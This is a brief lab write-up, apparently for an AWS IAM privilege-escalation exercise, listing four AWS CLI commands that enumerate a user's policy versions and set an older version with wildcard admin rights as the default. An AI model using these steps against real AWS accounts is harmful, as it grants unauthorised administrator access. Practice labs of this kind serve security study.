root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

Privesc by iam_rollback

---

• Enumerate privileges by enumerating policies-:

aws iam list-attached-user-policies --user-name raynor-* --profile aws_iam_rollback | jq

• Enumerate the policy’s arn versions-:

aws iam list-policy-versions --policy-arn arn:aws:iam::865614241237:policy/cg-raynor-policy-cgidqt1901nm4a --profile aws_iam_rollback | jq

• Enumerating through the versions till we notice v3 with a wildcard for everything(admin rights).

aws iam get-policy-version --policy-arn arn:aws:iam::865614241237:policy/cg-raynor-policy-cgidqt1901nm4a  --version-id v3 --profile aws_iam_rollback | jq

• Setting the admin policy as the default version-:

aws iam set-default-policy-version --policy-arn arn:aws:iam::865614241237:policy/cg-raynor-policy-cgidqt1901nm4a --version-id v3 --profile aws_iam_rollback | jq